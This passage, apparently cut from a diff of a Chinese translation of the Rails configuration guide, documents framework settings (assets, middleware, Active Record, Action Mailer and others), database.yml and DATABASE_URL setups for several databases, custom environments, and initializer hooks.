  • config.eager_load_paths:一个由路径组成的数组,config.cache_classestrue 时,Rails 启动时按需加载对应的代码。

  • +
  • config.encoding:设置程序全局编码,默认为 UTF-8。

  • +
  • config.exceptions_app:设置抛出异常后中间件 ShowException 调用哪个异常处理程序。默认为 ActionDispatch::PublicExceptions.new(Rails.public_path)

  • +
  • config.file_watcher:设置监视文件系统上文件变化使用的类,config.reload_classes_only_on_changetrue 时才有效。指定的类必须符合 ActiveSupport::FileUpdateChecker API。

  • +
  • config.filter_parameters:过滤不想写入日志的参数,例如密码,信用卡卡号。把 config.filter_parameters+=[:password] 加入文件 config/initializers/filter_parameter_logging.rb,可以过滤密码。

  • +
  • config.force_ssl:强制所有请求使用 HTTPS 协议,通过 ActionDispatch::SSL 中间件实现。

  • +
  • config.log_formatter:设置 Rails 日志的格式化工具。在生产环境中默认值为 Logger::Formatter,其他环境默认值为 ActiveSupport::Logger::SimpleFormatter

  • +
  • config.log_level:设置 Rails 日志等级。在生产环境中默认值为 :info,其他环境默认值为 :debug

  • +
  • config.log_tags:一组可响应 request 对象的方法。可在日志消息中加入更多信息,例如二级域名和请求 ID,便于调试多用户程序。

  • +
  • config.logger:接受一个实现了 Log4r 接口的类,或者使用默认的 Logger 类。默认值为 ActiveSupport::Logger,在生产环境中关闭了自动冲刷功能。

  • +
  • config.middleware:设置程序使用的中间件。详情参阅“设置中间件”一节。

  • +
  • config.reload_classes_only_on_change:只当监视的文件变化时才重新加载。默认值为 true,监视 autoload_paths 中所有路径。如果 config.cache_classestrue,忽略这个设置。

  • +
  • secrets.secret_key_base: +指定一个密令,和已知的安全密令比对,防止篡改会话。新建程序时会生成一个随机密令,保存在文件 config/secrets.yml 中。

  • +
  • config.serve_static_assets:让 Rails 伺服静态资源文件。默认值为 true,但在生产环境中为 false,因为应该使用服务器软件(例如 Nginx 或 Apache)伺服静态资源文件。 如果测试程序,或者在生产环境中使用 WEBrick(极力不推荐),应该设为 true,否则无法使用页面缓存,请求 public 文件夹中的文件时也会经由 Rails 处理。

  • +
  • config.session_store:一般在 config/initializers/session_store.rb 文件中设置,指定使用什么方式存储会话。可用值有::cookie_store(默认),:mem_cache_store:disabled:disabled 指明不让 Rails 处理会话。当然也可指定自定义的会话存储:

  • +
+
+
+config.session_store :my_custom_store
+
+
+
+

这个自定义的存储方式必须定义为 ActionDispatch::Session::MyCustomStore

+
    +
  • config.time_zone:设置程序使用的默认时区,也让 Active Record 使用这个时区。
  • +
+

3.2 3设置静态资源

+
    +
  • config.assets.enabled:设置是否启用 Asset Pipeline。默认启用。

  • +
  • config.assets.raise_runtime_errors:设为 true,启用额外的运行时错误检查。建议在 config/environments/development.rb 中设置,这样可以尽量减少部署到生产环境后的异常表现。

  • +
  • config.assets.compress:是否压缩编译后的静态资源文件。在 config/environments/production.rb 中为 true

  • +
  • config.assets.css_compressor:设定使用的 CSS 压缩程序,默认为 sass-rails。目前,唯一可用的另一个值是 :yui,使用 yui-compressor gem 压缩文件。

  • +
  • config.assets.js_compressor:设定使用的 JavaScript 压缩程序。可用值有::closure:uglifier:yui。分别需要安装 closure-compileruglifieryui-compressor 这三个 gem。

  • +
  • config.assets.paths:查找静态资源文件的路径。Rails 会在这个选项添加的路径中查找静态资源文件。

  • +
  • config.assets.precompile:指定执行 rake assets:precompile 任务时除 application.cssapplication.js 之外要编译的其他资源文件。

  • +
  • config.assets.prefix:指定伺服静态资源文件时使用的地址前缀,默认为 /assets

  • +
  • config.assets.digest:在静态资源文件名中加入 MD5 指纹。在 production.rb 中默认设为 true

  • +
  • config.assets.debug:禁止合并和压缩静态资源文件。在 development.rb 中默认设为 true

  • +
  • config.assets.cache_store:设置 Sprockets 使用的缓存方式,默认使用文件存储。

  • +
  • config.assets.version:生成 MD5 哈希时用到的一个字符串。可用来强制重新编译所有文件。

  • +
  • config.assets.compile:布尔值,用于在生产环境中启用 Sprockets 实时编译功能。

  • +
  • config.assets.logger:接受一个实现了 Log4r 接口的类,或者使用默认的 Logger 类。默认值等于 config.logger 选项的值。把 config.assets.logger 设为 false,可以关闭静态资源相关的日志。

  • +
+

3.3 3设置生成器

Rails 允许使用 config.generators 方法设置使用的生成器。这个方法接受一个代码块:

+
+config.generators do |g|
+  g.orm :active_record
+  g.test_framework :test_unit
+end
+
+
+
+

在代码块中可用的方法如下所示:

+
    +
  • +assets:是否允许脚手架创建静态资源文件,默认为 true
  • +
  • +force_plural:是否允许使用复数形式的模型名,默认为 false
  • +
  • +helper:是否生成帮助方法文件,默认为 true
  • +
  • +integration_tool:设置使用哪个集成工具,默认为 nil
  • +
  • +javascripts:是否允许脚手架创建 JavaScript 文件,默认为 true
  • +
  • +javascript_engine:设置生成静态资源文件时使用的预处理引擎(例如 CoffeeScript),默认为 nil
  • +
  • +orm:设置使用哪个 ORM。默认为 false,使用 Active Record。
  • +
  • +resource_controller:设定执行 rails generate resource 命令时使用哪个生成器生成控制器,默认为 :controller
  • +
  • +scaffold_controller:和 resource_controller 不同,设定执行 rails generate scaffold 命令时使用哪个生成器生成控制器,默认为 :scaffold_controller
  • +
  • +stylesheets:是否启用生成器中的样式表文件钩子,在执行脚手架时使用,也可用于其他生成器,默认值为 true
  • +
  • +stylesheet_engine:设置生成静态资源文件时使用的预处理引擎(例如 Sass),默认为 :css
  • +
  • +test_framework:设置使用哪个测试框架,默认为 false,使用 Test::Unit。
  • +
  • +template_engine:设置使用哪个模板引擎,例如 ERB 或 Haml,默认为 :erb
  • +
+

3.4 3设置中间件

每个 Rails 程序都使用了一组标准的中间件,在开发环境中的加载顺序如下:

+
    +
  • +ActionDispatch::SSL:强制使用 HTTPS 协议处理每个请求。config.force_ssl 设为 true 时才可用。config.ssl_options 选项的值会传给这个中间件。
  • +
  • +ActionDispatch::Static:用来伺服静态资源文件。如果 config.serve_static_assets 设为 false,则不会使用这个中间件。
  • +
  • +Rack::Lock:把程序放入互斥锁中,一次只能在一个线程中运行。config.cache_classes 设为 false 时才会使用这个中间件。
  • +
  • +ActiveSupport::Cache::Strategy::LocalCache:使用内存存储缓存。这种存储方式对线程不安全,而且只能在单个线程中做临时存储。
  • +
  • +Rack::Runtime:设定 X-Runtime 报头,其值为处理请求花费的时间,单位为秒。
  • +
  • +Rails::Rack::Logger:开始处理请求时写入日志,请求处理完成后冲刷所有日志。
  • +
  • +ActionDispatch::ShowExceptions:捕获程序抛出的异常,如果在本地处理请求,或者 config.consider_all_requests_local 设为 true,会渲染一个精美的异常页面。如果 config.action_dispatch.show_exceptions 设为 false,则会直接抛出异常。
  • +
  • +ActionDispatch::RequestId:在响应中加入一个唯一的 X-Request-Id 报头,并启用 ActionDispatch::Request#uuid 方法。
  • +
  • +ActionDispatch::RemoteIp:从请求报头中获取正确的 client_ip,检测 IP 地址欺骗攻击。通过 config.action_dispatch.ip_spoofing_checkconfig.action_dispatch.trusted_proxies 设置。
  • +
  • +Rack::Sendfile:响应主体为一个文件,并设置 X-Sendfile 报头。通过 config.action_dispatch.x_sendfile_header 设置。
  • +
  • +ActionDispatch::Callbacks:处理请求之前运行指定的回调。
  • +
  • +ActiveRecord::ConnectionAdapters::ConnectionManagement:每次请求后都清理可用的连接,除非把在请求环境变量中把 rack.test 键设为 true
  • +
  • +ActiveRecord::QueryCache:缓存请求中使用的 SELECT 查询。如果用到了 INSERTUPDATE 语句,则清除缓存。
  • +
  • +ActionDispatch::Cookies:设置请求的 cookie。
  • +
  • +ActionDispatch::Session::CookieStore:把会话存储在 cookie 中。config.action_controller.session_store 设为其他值时则使用其他中间件。config.action_controller.session_options 的值会传给这个中间件。
  • +
  • +ActionDispatch::Flash:设定 flash 键。必须为 config.action_controller.session_store 设置一个值,才能使用这个中间件。
  • +
  • +ActionDispatch::ParamsParser:解析请求中的参数,生成 params
  • +
  • +Rack::MethodOverride:如果设置了 params[:_method],则使用相应的方法作为此次请求的方法。这个中间件提供了对 PATCH、PUT 和 DELETE 三个 HTTP 请求方法的支持。
  • +
  • +ActionDispatch::Head:把 HEAD 请求转换成 GET 请求,并处理请求。
  • +
+

除了上述标准中间件之外,还可使用 config.middleware.use 方法添加其他中间件:

+
+config.middleware.use Magical::Unicorns
+
+
+
+

上述代码会把中间件 Magical::Unicorns 放入中间件列表的最后。如果想在某个中间件之前插入中间件,可以使用 insert_before

+
+config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+
+
+
+

如果想在某个中间件之后插入中间件,可以使用 insert_after

+
+config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+
+
+
+

中间件还可替换成其他中间件:

+
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+
+
+
+

也可从中间件列表中删除:

+
+config.middleware.delete "Rack::MethodOverride"
+
+
+
+

3.5 3设置 i18n

下述设置项目都针对 I18n 代码库。

+
    +
  • config.i18n.available_locales:设置程序可用本地语言的白名单。默认值为可在本地化文件中找到的所有本地语言,在新建程序中一般是 :en

  • +
  • config.i18n.default_locale:设置程序的默认本地化语言,默认值为 :en

  • +
  • config.i18n.enforce_available_locales:确保传给 i18n 的本地语言在 available_locales 列表中,否则抛出 I18n::InvalidLocale 异常。默认值为 true。除非特别需要,不建议禁用这个选项,因为这是一项安全措施,能防止用户提供不可用的本地语言。

  • +
  • config.i18n.load_path:设置 Rails 搜寻本地化文件的路径。默认为 config/locales/*.{yml,rb}`。

  • +
+

3.6 3设置 Active Record

config.active_record 包含很多设置项:

+
    +
  • config.active_record.logger:接受一个实现了 Log4r 接口的类,或者使用默认的 Logger 类,然后传给新建的数据库连接。在 Active Record 模型类或模型实例上调用 logger 方法可以获取这个日志类。设为 nil 禁用日志。

  • +
  • +

    config.active_record.primary_key_prefix_type:调整主键的命名方式。默认情况下,Rails 把主键命名为 id(无需设置这个选项)。除此之外还有另外两个选择:

    +
      +
    • +:table_nameCustomer 模型的主键为 customerid
    • +
    • +:table_name_with_underscoreCustomer 模型的主键为 customer_id
    • +
    +
  • +
  • config.active_record.table_name_prefix:设置一个全局字符串,作为数据表名的前缀。如果设为 northwest_,那么 Customer 模型对应的表名为 northwest_customers。默认为空字符串。

  • +
  • config.active_record.table_name_suffix:设置一个全局字符串,作为数据表名的后缀。如果设为 _northwest,那么 Customer 模型对应的表名为 customers_northwest。默认为空字符串。

  • +
  • config.active_record.schema_migrations_table_name:设置模式迁移数据表的表名。

  • +
  • config.active_record.pluralize_table_names:设置 Rails 在数据库中要寻找单数形式还是复数形式的数据表。如果设为 true(默认值),Customer 类对应的数据表是 customers。如果设为 falseCustomer 类对应的数据表是 customer

  • +
  • config.active_record.default_timezone:从数据库中查询日期和时间时使用 Time.local(设为 :local 时)还是 Time.utc(设为 :utc 时)。默认为 :utc

  • +
  • config.active_record.schema_format:设置导出数据库模式到文件时使用的格式。可选项包括::ruby,默认值,根据迁移导出模式,与数据库种类无关;:sql,导出为 SQL 语句,受数据库种类影响。

  • +
  • config.active_record.timestamped_migrations:设置迁移编号使用连续的数字还是时间戳。默认值为 true,使用时间戳。如果有多名开发者协作,建议使用时间戳。

  • +
  • config.active_record.lock_optimistically:设置 Active Record 是否使用乐观锁定,默认使用。

  • +
  • config.active_record.cache_timestamp_format:设置缓存键中使用的时间戳格式,默认为 :number

  • +
  • config.active_record.record_timestamps:设置是否记录 createupdate 动作的时间戳。默认为 true

  • +
  • config.active_record.partial_writes: 布尔值,设置是否局部写入(例如,只更新有变化的属性)。注意,如果使用局部写入,还要使用乐观锁定,因为并发更新写入的数据可能已经过期。默认值为 true

  • +
  • config.active_record.attribute_types_cached_by_default:设置读取时 ActiveRecord::AttributeMethods 缓存的字段类型。默认值为 [:datetime, :timestamp, :time, :date]

  • +
  • config.active_record.maintain_test_schema:设置运行测试时 Active Record 是否要保持测试数据库的模式和 db/schema.rb 文件(或 db/structure.sql)一致,默认为 true

  • +
  • config.active_record.dump_schema_after_migration:设置运行迁移后是否要导出数据库模式到文件 db/schema.rbdb/structure.sql 中。这项设置在 Rails 生成的 config/environments/production.rb 文件中为 false。如果不设置这个选项,则值为 true

  • +
+

MySQL 适配器添加了一项额外设置:

+
    +
  • +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans:设置 Active Record 是否要把 MySQL 数据库中 tinyint(1) 类型的字段视为布尔值,默认为 true
  • +
+

模式导出程序添加了一项额外设置:

+
    +
  • +ActiveRecord::SchemaDumper.ignore_tables:指定一个由数据表组成的数组,导出模式时不会出现在模式文件中。仅当 config.active_record.schema_format == :ruby 时才有效。
  • +
+

3.7 3设置 Action Controller

config.action_controller 包含以下设置项:

+
    +
  • config.action_controller.asset_host:设置静态资源的主机,不用程序的服务器伺服静态资源,而使用 CDN。

  • +
  • config.action_controller.perform_caching:设置程序是否要缓存。在开发模式中为 false,生产环境中为 true

  • +
  • config.action_controller.default_static_extension:设置缓存文件的扩展名,默认为 .html

  • +
  • config.action_controller.default_charset:设置默认字符集,默认为 utf-8

  • +
  • config.action_controller.logger:接受一个实现了 Log4r 接口的类,或者使用默认的 Logger 类,用于写 Action Controller 中的日志消息。设为 nil 禁用日志。

  • +
  • config.action_controller.request_forgery_protection_token:设置请求伪造保护的权标参数名。默认情况下调用 protect_from_forgery 方法,将其设为 :authenticity_token

  • +
  • config.action_controller.allow_forgery_protection:是否启用跨站请求伪造保护功能。在测试环境中默认为 false,其他环境中默认为 true

  • +
  • config.action_controller.relative_url_root:用来告知 Rails 程序部署在子目录中。默认值为 ENV['RAILS_RELATIVE_URL_ROOT']

  • +
  • config.action_controller.permit_all_parameters:设置默认允许在批量赋值中使用的参数,默认为 false

  • +
  • config.action_controller.action_on_unpermitted_parameters:发现禁止使用的参数时,写入日志还是抛出异常(分别设为 :log:raise)。在开发环境和测试环境中的默认值为 :log,在其他环境中的默认值为 false

  • +
+

3.8 3设置 Action Dispatch

+
    +
  • config.action_dispatch.session_store:设置存储会话的方式,默认为 :cookie_store,其他可用值有::active_record_store:mem_cache_store,以及自定义类的名字。

  • +
  • config.action_dispatch.default_headers:一个 Hash,设置响应的默认报头。默认设定的报头为:

  • +
+
+
+config.action_dispatch.default_headers = {
+  'X-Frame-Options' => 'SAMEORIGIN',
+  'X-XSS-Protection' => '1; mode=block',
+  'X-Content-Type-Options' => 'nosniff'
+}
+
+
+
+ +
    +
  • config.action_dispatch.tld_length:设置顶级域名(top-level domain,简称 TLD)的长度,默认为 1

  • +
  • config.action_dispatch.http_auth_salt:设置 HTTP Auth 认证的加盐值,默认为 'http authentication'

  • +
  • config.action_dispatch.signed_cookie_salt:设置签名 cookie 的加盐值,默认为 'signed cookie'

  • +
  • config.action_dispatch.encrypted_cookie_salt:设置加密 cookie 的加盐值,默认为 'encrypted cookie'

  • +
  • config.action_dispatch.encrypted_signed_cookie_salt:设置签名加密 cookie 的加盐值,默认为 'signed encrypted cookie'

  • +
  • config.action_dispatch.perform_deep_munge:设置是否在参数上调用 deep_munge 方法。详情参阅“Rails 安全指南”一文。默认值为 true

  • +
  • ActionDispatch::Callbacks.before:设置在处理请求前运行的代码块。

  • +
  • ActionDispatch::Callbacks.to_prepare:设置在 ActionDispatch::Callbacks.before 之后、处理请求之前运行的代码块。这个代码块在开发环境中的每次请求中都会运行,但在生产环境或 cache_classes 设为 true 的环境中只运行一次。

  • +
  • ActionDispatch::Callbacks.after:设置处理请求之后运行的代码块。

  • +
+

3.9 3设置 Action View

config.action_view 包含以下设置项:

+
    +
  • config.action_view.field_error_proc:设置用于生成 Active Record 表单错误的 HTML,默认为:
  • +
+
+
+Proc.new do |html_tag, instance|
+  %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
+end
+
+
+
+ +
    +
  • config.action_view.default_form_builder:设置默认使用的表单构造器。默认值为 ActionView::Helpers::FormBuilder。如果想让表单构造器在程序初始化完成后加载(在开发环境中每次请求都会重新加载),可使用字符串形式。

  • +
  • config.action_view.logger:接受一个实现了 Log4r 接口的类,或者使用默认的 Logger 类,用于写入来自 Action View 的日志。设为 nil 禁用日志。

  • +
  • config.action_view.erb_trim_mode:设置 ERB 使用的删除空白模式,默认为 '-',使用 <%= -%><%= =%> 时,删除行尾的空白和换行。详情参阅 Erubis 的文档

  • +
  • config.action_view.embed_authenticity_token_in_remote_forms:设置启用 :remote => true 选项的表单如何处理 authenticity_token 字段。默认值为 false,即不加入 authenticity_token 字段,有助于使用片段缓存缓存表单。远程表单可从 meta 标签中获取认证权标,因此没必要再加入 authenticity_token 字段,除非要支持没启用 JavaScript 的浏览器。如果要支持没启用 JavaScript 的浏览器,可以在表单的选项中加入 :authenticity_token => true,或者把这个设置设为 true

  • +
  • config.action_view.prefix_partial_path_with_controller_namespace:设置渲染命名空间中的控制器时是否要在子文件夹中查找局部视图。例如,控制器名为 Admin::PostsController,渲染了以下视图:

  • +
+
+
+<%= render @post %>
+
+
+
+

这个设置的默认值为 true,渲染的局部视图为 /admin/posts/_post.erb。如果设为 false,就会渲染 /posts/_post.erb,和没加命名空间的控制器(例如 PostsController)行为一致。

+
    +
  • config.action_view.raise_on_missing_translations:找不到翻译时是否抛出异常。
  • +
+

3.10 3设置 Action Mailer

config.action_mailer 包含以下设置项:

+
    +
  • config.action_mailer.logger:接受一个实现了 Log4r 接口的类,或者使用默认的 Logger 类,用于写入来自 Action Mailer 的日志。设为 nil 禁用日志。

  • +
  • +

    config.action_mailer.smtp_settings:详细设置 :smtp 发送方式。接受一个 Hash,包含以下选项:

    +
      +
    • +:address:设置远程邮件服务器,把默认值 "localhost" 改成所需值即可;
    • +
    • +:port:如果邮件服务器不使用端口 25,可通过这个选项修改;
    • +
    • +:domain:如果想指定一个 HELO 域名,可通过这个选项修改;
    • +
    • +:user_name:如果所用邮件服务器需要身份认证,可通过这个选项设置用户名;
    • +
    • +:password:如果所用邮件服务器需要身份认证,可通过这个选项设置密码;
    • +
    • +:authentication:如果所用邮件服务器需要身份认证,可通过这个选项指定认证类型,可选值包括::plain:login:cram_md5
    • +
    +
  • +
  • +

    config.action_mailer.sendmail_settings:详细设置 sendmail 发送方式。接受一个 Hash,包含以下选项:

    +
      +
    • +:locationsendmail 可执行文件的位置,默认为 /usr/sbin/sendmail
    • +
    • +:arguments:传入命令行的参数,默认为 -i -t
    • +
    +
  • +
  • config.action_mailer.raise_delivery_errors:如果无法发送邮件,是否抛出异常。默认为 true

  • +
  • config.action_mailer.delivery_method:设置发送方式,默认为 :smtp。详情参阅“Action Mailer 基础”一文中的“设置”一节。。

  • +
  • config.action_mailer.perform_deliveries:设置是否真的发送邮件,默认为 true。测试时可设为 false

  • +
  • config.action_mailer.default_options:设置 Action Mailer 的默认选项。可设置各个邮件发送程序的 fromreply_to 等选项。默认值为:

  • +
+
+
+mime_version:  "1.0",
+charset:       "UTF-8",
+content_type: "text/plain",
+parts_order:  ["text/plain", "text/enriched", "text/html"]
+
+
+
+
+
+设置时要使用 Hash:
+
+
+
+
+
+config.action_mailer.default_options = {
+  from: "noreply@example.com"
+}
+
+
+
+ +
    +
  • config.action_mailer.observers:注册邮件发送后触发的监控器。
  • +
+
+
+config.action_mailer.observers = ["MailObserver"]
+
+
+
+ +
    +
  • config.action_mailer.interceptors:注册发送邮件前调用的拦截程序。
  • +
+
+
+config.action_mailer.interceptors = ["MailInterceptor"]
+
+
+
+

3.11 3设置 Active Support

Active Support 包含以下设置项:

+
    +
  • config.active_support.bare:启动 Rails 时是否加载 active_support/all。默认值为 nil,即加载 active_support/all

  • +
  • config.active_support.escape_html_entities_in_json:在 JSON 格式的数据中是否转义 HTML 实体。默认为 false

  • +
  • config.active_support.use_standard_json_time_format:在 JSON 格式的数据中是否把日期转换成 ISO 8601 格式。默认为 true

  • +
  • config.active_support.time_precision:设置 JSON 编码的时间精度,默认为 3

  • +
  • ActiveSupport::Logger.silencer:设为 false 可以静默代码块中的日志消息。默认为 true

  • +
  • ActiveSupport::Cache::Store.logger:设置缓存存储中使用的写日志程序。

  • +
  • ActiveSupport::Deprecation.behavior:作用和 config.active_support.deprecation 一样,设置是否显示 Rails 废弃提醒。

  • +
  • ActiveSupport::Deprecation.silence:接受一个代码块,静默废弃提醒。

  • +
  • ActiveSupport::Deprecation.silenced:设置是否显示废弃提醒。

  • +
+

3.12 3设置数据库

几乎每个 Rails 程序都要用到数据库。数据库信息可以在环境变量 ENV['DATABASE_URL'] 中设定,也可在 config/database.yml 文件中设置。

config/database.yml 文件中可以设置连接数据库所需的所有信息:

+
+development:
+  adapter: postgresql
+  database: blog_development
+  pool: 5
+
+
+
+

上述设置使用 postgresql 适配器连接名为 blog_development 的数据库。这些信息也可存储在 URL 中,通过下面的环境变量提供:

+
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+
+
+
+

config/database.yml 文件包含三个区域,分别对应 Rails 中的三个默认环境:

+
    +
  • +development 环境在本地开发电脑上运行,手动与程序交互;
  • +
  • +test 环境用于运行自动化测试;
  • +
  • +production 环境用于部署后的程序;
  • +
+

如果需要使用 URL 形式,也可在 config/database.yml 文件中按照下面的方式设置:

+
+development:
+  url: postgresql://localhost/blog_development?pool=5
+
+
+
+

config/database.yml 文件中可以包含 ERB 标签 <%= %>。这个标签中的代码被视为 Ruby 代码。使用 ERB 标签可以从环境变量中获取数据,或者计算所需的连接信息。

你无须手动更新数据库设置信息。查看新建程序生成器,会发现一个名为 --database 的选项。使用这个选项可以从一组常用的关系型数据库中选择想用的数据库。甚至还可重复执行生成器:cd .. && rails new blog --database=mysql。确认覆盖文件 config/database.yml 后,程序就设置成使用 MySQL,而不是 SQLite。常用数据库的设置如下所示。

3.13 3连接设置

既然数据库的连接信息有两种设置方式,就要知道两者之间的关系。

如果 config/database.yml 文件为空,而且设置了环境变量 ENV['DATABASE_URL'],Rails 就会使用环境变量连接数据库:

+
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+
+
+

如果 config/database.yml 文件存在,且没有设置环境变量 ENV['DATABASE_URL'],Rails 会使用设置文件中的信息连接数据库:

+
+$ cat config/database.yml
+development:
+  adapter: postgresql
+  database: my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+
+
+
+

如果有 config/database.yml 文件,也设置了环境变量 ENV['DATABASE_URL'],Rails 会合并二者提供的信息。下面举个例子说明。

如果二者提供的信息有重复,环境变量中的信息优先级更高:

+
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  database: NOT_my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+
+
+
+

这里的适配器、主机和数据库名都和 ENV['DATABASE_URL'] 中的信息一致。

如果没有重复,则会从这两个信息源获取信息。如果有冲突,环境变量的优先级更高。

+
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+
+
+
+

因为 ENV['DATABASE_URL'] 中没有提供数据库连接池信息,所以从设置文件中获取。二者都提供了 adapter 信息,但使用的是 ENV['DATABASE_URL'] 中的信息。

如果完全不想使用 ENV['DATABASE_URL'] 中的信息,要使用 url 子建指定一个 URL:

+
+$ cat config/database.yml
+development:
+  url: sqlite3://localhost/NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"sqlite3", "host"=>"localhost", "database"=>"NOT_my_database"}}
+
+
+
+

如上所示,ENV['DATABASE_URL'] 中的连接信息被忽略了,使用了不同的适配器和数据库名。

既然 config/database.yml 文件中可以使用 ERB,最好使用 ENV['DATABASE_URL'] 中的信息连接数据库。这种方式在生产环境中特别有用,因为我们并不想把数据库密码等信息纳入版本控制系统(例如 Git)。

+
+$ cat config/database.yml
+production:
+  url: <%= ENV['DATABASE_URL'] %>
+
+
+
+

注意,这种设置方式很明确,只使用 ENV['DATABASE_URL'] 中的信息。

3.13.1 4设置 SQLite3 数据库

Rails 内建支持 SQLite3。SQLite 是个轻量级数据库,无需单独的服务器。大型线上环境可能并不适合使用 SQLite,但在开发环境和测试环境中使用却很便利。新建程序时,Rails 默认使用 SQLite,但可以随时换用其他数据库。

下面是默认的设置文件(config/database.yml)中针对开发环境的数据库设置:

+
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+
+
+

Rails 默认使用 SQLite3 存储数据,因为 SQLite3 无需设置即可使用。Rails 还内建支持 MySQL 和 PostgreSQL。还提供了很多插件,支持更多的数据库系统。如果在生产环境中使用了数据库,Rails 很可能已经提供了对应的适配器。

3.13.2 4设置 MySQL 数据库

如果不想使用 SQLite3,而是使用 MySQL,config/database.yml 文件的内容会有些不同。下面是针对开发环境的设置:

+
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+
+
+
+

如果开发电脑中的 MySQL 使用 root 用户,且没有密码,可以直接使用上述设置。否则就要相应的修改用户名和密码。

3.13.3 4设置 PostgreSQL 数据库

如果选择使用 PostgreSQL,config/database.yml 会准备好连接 PostgreSQL 数据库的信息:

+
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+  username: blog
+  password:
+
+
+
+

PREPARE 语句可使用下述方法禁用:

+
+production:
+  adapter: postgresql
+  prepared_statements: false
+
+
+
+
3.13.4 4在 JRuby 平台上设置 SQLite3 数据库

如果在 JRuby 中使用 SQLite3,config/database.yml 文件的内容会有点不同。下面是针对开发环境的设置:

+
+development:
+  adapter: jdbcsqlite3
+  database: db/development.sqlite3
+
+
+
+
3.13.5 4在 JRuby 平台上设置 MySQL 数据库

如果在 JRuby 中使用 MySQL,config/database.yml 文件的内容会有点不同。下面是针对开发环境的设置:

+
+development:
+  adapter: jdbcmysql
+  database: blog_development
+  username: root
+  password:
+
+
+
+
3.13.6 4在 JRuby 平台上设置 PostgreSQL 数据库

如果在 JRuby 中使用 PostgreSQL,config/database.yml 文件的内容会有点不同。下面是针对开发环境的设置:

+
+development:
+  adapter: jdbcpostgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+
+
+
+

请相应地修改 development 区中的用户名和密码。

3.14 3新建 Rails 环境

默认情况下,Rails 提供了三个环境:开发,测试和生产。这三个环境能满足大多数需求,但有时需要更多的环境。

假设有个服务器镜像了生产环境,但只用于测试。这种服务器一般叫做“交付准备服务器”(staging server)。要想为这个服务器定义一个名为“staging”的环境,新建文件 config/environments/staging.rb 即可。请使用 config/environments 文件夹中的任一文件作为模板,以此为基础修改设置。

新建的环境和默认提供的环境没什么区别,可以执行 rails server -e staging 命令启动服务器,执行 rails console staging 命令进入控制台,Rails.env.staging? 也可使用。

3.15 3部署到子目录中

默认情况下,Rails 在根目录(例如 /)中运行程序。本节说明如何在子目录中运行程序。

假设想把网站部署到 /app1 目录中。生成路由时,Rails 要知道这个目录:

+
+config.relative_url_root = "/app1"
+
+
+
+

或者,设置环境变量 RAILS_RELATIVE_URL_ROOT 也行。

这样设置之后,Rails 生成的链接都会加上前缀 /app1

3.15.1 4使用 Passenger

使用 Passenger 时,在子目录中运行程序更简单。具体做法参见 Passenger 手册

3.15.2 4使用反向代理

TODO

3.15.3 4部署到子目录时的注意事项

在生产环境中部署到子目录中会影响 Rails 的多个功能:

+
    +
  • 开发环境
  • +
  • 测试环境
  • +
  • 伺服静态资源文件
  • +
  • Asset Pipeline
  • +
+

4 Rails 环境设置

Rails 的某些功能只能通过外部的环境变量设置。下面介绍的环境变量可以被 Rails 识别:

+
    +
  • ENV["RAILS_ENV"]:指定 Rails 运行在哪个环境中:生成环境,开发环境,测试环境等。

  • +
  • ENV["RAILS_RELATIVE_URL_ROOT"]部署到子目录时,路由用来识别 URL。

  • +
  • ENV["RAILS_CACHE_ID"]ENV["RAILS_APP_VERSION"]:用于生成缓存扩展键。允许在同一程序中使用多个缓存。

  • +
+

5 使用初始化脚本

加载完框架以及程序中使用的 gem 后,Rails 会加载初始化脚本。初始化脚本是个 Ruby 文件,存储在程序的 config/initializers 文件夹中。初始化脚本可在框架和 gem 加载完成后做设置。

如果有需求,可以使用子文件夹组织初始化脚本,Rails 会加载整个 config/initializers 文件夹中的内容。

如果对初始化脚本的加载顺序有要求,可以通过文件名控制。初始化脚本的加载顺序按照文件名的字母表顺序进行。例如,01_critical.rb02_normal.rb 之前加载。

6 初始化事件

Rails 提供了 5 个初始化事件,可做钩子使用。下面按照事件的加载顺序介绍:

+
    +
  • before_configuration:程序常量继承自 Rails::Application 之后立即运行。config 方法在此事件之前调用。

  • +
  • before_initialize:在程序初始化过程中的 :bootstrap_hook 之前运行,接近初始化过程的开头。

  • +
  • to_prepare:所有 Railtie(包括程序本身)的初始化都运行完之后,但在按需加载代码和构建中间件列表之前运行。更重要的是,在开发环境中,每次请求都会运行,但在生产环境和测试环境中只运行一次(在启动阶段)。

  • +
  • before_eager_load:在按需加载代码之前运行。这是在生产环境中的默认表现,但在开发环境中不是。

  • +
  • after_initialize:在程序初始化完成之后运行,即 config/initializers 文件夹中的初始化脚本运行完毕之后。

  • +
+

要想为这些钩子定义事件,可以在 Rails::ApplicationRails::RailtieRails::Engine 的子类中使用代码块:

+
+module YourApp
+  class Application < Rails::Application
+    config.before_initialize do
+      # initialization code goes here
+    end
+  end
+end
+
+
+
+

或者,在 Rails.application 对象上调用 config 方法:

+
+Rails.application.config.before_initialize do
+  # initialization code goes here
+end
+
+
+
+

程序的某些功能,尤其是路由,在 after_initialize 之后还不可用。

6.1 3Rails::Railtie#initializer +

